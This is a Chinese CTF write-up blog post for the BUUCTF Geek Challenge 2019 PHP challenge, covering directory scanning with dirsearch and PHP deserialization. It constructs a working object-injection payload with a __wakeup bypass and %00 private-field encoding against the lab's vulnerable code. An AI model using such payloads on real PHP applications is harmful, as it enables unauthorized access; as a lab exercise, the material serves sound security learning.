[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

简介: [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

姿势

提示:有一个良好的备份网站的习惯

故使用dirsearch工具扫描目录

得到的扫描结果中包含www.zip目录

通过url路径下载zip文件:

index.php中含有关键代码:

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

Get传参传入一个参数select,后端将其序列化

class.php:

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,也就是说对象创建完成以后第一个被对象自动调用的方法。


分析以上代码可知,当password为100,username为admin时即可获得flag


故以get传参为跳板构造原始POC:


?select=O:4:"Name":2:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}其中

4表示Name类的长度
2表示类中传入对象的个数,即username和password两个对象
13表示Name username和Name password的字符串长度
5与100表示传参的数据类型分别为string和int

接着开始完善POC:


进行反序列化之前则会先调用wakeup方法,当序列化字符串中对象个数的值大于真实个数时会跳过wakeup方法的执行,故POC可改为:


?select=O:4:"Name":3:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}


回显如下:

哪里还没考虑到?

如果构造的链子中含有空格,那么空格被url编码为%20后会导致链子不能被反序列化

故POC可改为


?select=O:4:"Name":3:{s:13:"Name%00username";s:5:"admin";s:13:"Name%00password";i:100;}


同时,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化(即构造POC)时,类名和字段名前面都会加上ascii为0的字符(不可见字符)


故POC改为


?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

回显如下:


总结

以上为[网络安全/CTF] BUUCTF 极客大挑战 2019 PHP 解题详析,考察Dirsearch工具的使用及php反序列化知识点,读者可躬身实践。

我是秋说,我们下次见。

目录
相关文章
|
1月前
|
机器学习/深度学习 PyTorch 算法框架/工具
卷积神经元网络中常用卷积核理解及基于Pytorch的实例应用(附完整代码)
卷积神经元网络中常用卷积核理解及基于Pytorch的实例应用(附完整代码)
20 0
|
1月前
|
存储 JSON 网络协议
【计算机网络】序列化,反序列化和初识协议
【计算机网络】序列化,反序列化和初识协议
|
2月前
|
弹性计算 大数据 测试技术
2024年阿里云服务器价格购买价格表(实例配置价格+磁盘价格+网络宽带价格)
2024年阿里云服务器价格购买价格表来了!2024年阿里云服务器租用费用,轻量应用服务器和云服务器ECS优惠价格表,云服务器ECS经济型e实例2核2G、3M固定带宽99元一年、ECS u1实例2核4G、5M固定带宽、80G ESSD Entry盘优惠价格199元一年,轻量应用服务器2核2G3M带宽轻量服务器一年61元、2核4G4M带宽轻量服务器一年165元12个月、2核4G服务器30元3个月,幻兽帕鲁4核16G和8核32G服务器配置,云服务器ECS可以选择经济型e实例、通用算力u1实例、ECS计算型c7、通用型g7、c8i、g8i等企业级实例规格。今天分享阿里云服务器租用费用最新报价:
75 2
|
2月前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
67 0
|
2月前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
214 0
|
2月前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
137 0
|
2月前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
73 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
2月前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
108 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
2月前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
83 0
|
3月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
31 0